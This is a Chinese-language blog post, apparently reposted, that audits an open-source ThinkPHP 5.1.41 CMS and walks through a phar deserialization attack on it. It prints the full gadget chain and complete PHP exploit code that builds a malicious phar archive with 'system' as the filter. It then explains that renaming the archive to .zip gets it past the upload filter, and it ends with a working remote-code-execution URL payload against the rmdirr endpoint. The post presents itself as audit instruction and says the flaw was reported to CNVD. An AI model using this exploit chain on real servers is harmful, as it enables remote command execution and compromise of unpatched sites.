基于框架漏洞的代码审计实战
2022-5-27 17:30:23 Author: mp.weixin.qq.com(查看原文) 阅读量:47 收藏

由于普通的,基于某个功能点的漏洞,已经是非常常见了,在这里分享一些基于框架漏洞的代码审计,毕竟大家都学了这么多反序列化漏洞与一堆的框架,还是要用于实战当中。

某开源项目最新版的CMS,该漏洞已提交至CNVD

可以看到这里的thinkphp版本为5.1.41。正好该版本存在反序列化漏洞。接下来我们的思路就是找到反序列化的触发点。

如果打过ctf的同学都应该都比较清楚,触发反序列化的点,比较常见的就3种 1,unserialize()函数 2,phar反序列化 3,session反序列化

接下来我们就一个一个分析看看该cms是否存在反序列化入口

0x3.1 unserialize函数

我们直接全局搜索unserialize,看看有那些地方调用了该函数

可以看到有很多地方调用了unserialize函数,如果你看到这些函数就开始一头扎进去,开始分析,那基本上就可以说是对MVC毫无了解,在分析之前,你要确定那些是能调用的,那些是不能调用的,因此必须分析路由,去找寻那些页面是可以访问的,我们一般想调用某些函数,都是通过URL或者POST参数进行调用了。因此知道自己能调用那些函数,是非常重要的,也是缩小分析范围的至关重要的一步。本文分析的CMS是由thinkphp搭建,由于在大部分情况下我们都可以访问控制器下的大部分函数,因此可操作的空间就非常的大,但并不是所有框架都像一样自由

结合路由分析,可以发现并没有路由能访问到unserialize函数,可知unserialize这条路走不通

0x3.2 session反序列化

其实session反序列化是真的不常见,可能只会在一些ctf中见到,因为两种session模式相互切换的场景是真的不常见,不过我们还是进行分析一下吧。直接全局搜索session.serialize_handler

不出意外,确实没有

0x3.3 phar反序列化

个人认为phar反序列化还是比较容易触发的,因为在很多功能点都会对文件进行判断,而有许多判断函数都可以触发phar反序列化,且并不需要pip.ini有特殊配置。这是在本机生成phar包时,需要开启phar.readonly这个配置。常见的函数如下:

继续我们的分析,一般每个web应用几乎都存在着文件上传功能,几乎都会用到is_file,is_dir,file_exists等函数 接下来外面就来分析源码,老规矩依旧是全局搜索

在这里就不浪费大家时间,找寻触发点直接省略,直接进入利用分析

可以看到这里rmdirr是update控制器里的一个方法,我们可以直接通过url调用该函数,能触发漏洞的原因在于,没写固定前缀,到这里可能有同学会提醒我还有后缀,但在这里可以给大家卖个关子,其实有很大一部分后缀是可以绕过的,这个我们在后面分析。言归正传,之所以要指定前缀就是防止攻击者使用phar协议,进行phar反序列化,到这里我们已经找到了反序列化入口,进行就是如何进行phar文件生成和反序列化漏洞利用

在php中phar文件生成有一窜常用的代码,记住即可,唯一要注意的是,要反序列化的对象,在本文就是反序列化利用链

0x4.1 配置

在此之前,需要在本机开启,注意这只是在生成的时候开启,及在本地生成然后上传到目标服务器(目标服务器不需要开启配置)

phar.readonly = On

0x4.2 源码

//这里就需要反序列化的对象
class Demo{

}

$phar=new\Phar("phar.phar");//

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");//

$phar->setMetadata(new Demo());//

$phar->addFromString("test.txt","test");//

//
$phar->stopBuffering();

生成文件内容如下:

0x5.1 利用链

\thinkphp\library\think\process\pipes\Windows.php - > __destruct()

\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()

Windows.php: file_exists()

thinkphp\library\think\model\concern\Conversion.php - > __toString()

thinkphp\library\think\model\concern\Conversion.php - > toJson() 

thinkphp\library\think\model\concern\Conversion.php - > toArray()

thinkphp\library\think\Request.php   - > __call()

thinkphp\library\think\Request.php   - > isAjax()

thinkphp\library\think\Request.php - > param()

thinkphp\library\think\Request.php - > input()

thinkphp\library\think\Request.php - > filterValue()

0x5.2 EXP

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO''REDIRECT_PATH_INFO''REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

源码

<?php

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["dir","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
// 表单请求类型伪装变量
        'var_method'       => '_method',
// 表单ajax伪装变量
        'var_ajax'         => '_ajax',
// 表单pjax伪装变量
        'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO''REDIRECT_PATH_INFO''REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
// 域名根,如thinkphp.cn
        'url_domain_root'  => '',
// HTTPS代理标识
        'https_agent_name' => '',
// IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
    public function __construct()
    
{
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;

$phar=new\Phar("phar.phar");//

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");//

$phar->setMetadata(new Windows());//

$phar->addFromString("test.txt","test");//

//
$phar->stopBuffering();

?>

0x7.1 Phar文件上传绕过

大家看到这里一定会想Phar文件,一定是XXX.phar这样的格式,只要后端一限制,那就没法利用了,如果这么想的话,那可能还是会phar协议不了解,直接说结论吧,phar文件可以是任意后缀,可以是jpg,png,zip等等,只要配合phar协议即可触发反序列化

0x7.2 查找上传功能

寻找单个功能点比较常见的就两种:

1.直接黑盒测试看应用程序有那些功能

2.白盒测试看路由,代码审计

一般情况还是先黑盒再白盒,因为有的应用路由写的很死,只能访问给定的功能,也就造成你再页面上看到的功能可能就是它大部分的功能了

0x7.3 黑盒测试

这里我们直接找上传点,当然里面也有许多坑,笔者会一一去解说

经过黑盒测试发现只能上图片,话不多少说直接将phar文件,改成phar.jpg然后上传

结果发现上传失败,其实有经验的同学都明白,检测图片的方法很多,mime,文件头,还有一堆处理图片的函数,那文件头来说,如果想绕过就必须在phar文件中添加文件头,但这样一添加,就破坏了文件格式,导致反序列化无法触发。因此这个图片上传无法利用

0x7.4 白盒测试

直接分析源码,找寻文件上传功能代码

找到一处,经过分析发现值允许上传zip,txt等文件,既然如此我们就上传一个phar.zip文件

上传成功,回显出了文件地址

我们已经将文件上传到服务器,接下来就是利用phar+thinkphp反序列化进行rce漏洞验证

payload:

http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami
原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

靶场实操,戳“阅读原文”

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652888045&idx=1&sn=97ea6181257c92bbb78fd66a7857408b&chksm=bd59a7208a2e2e365f11ecf47eb8b855a08214ad3ce610ca3f2d7b76a57b48d1e01dca87e6d1#rd
如有侵权请联系:admin#unsafe.sh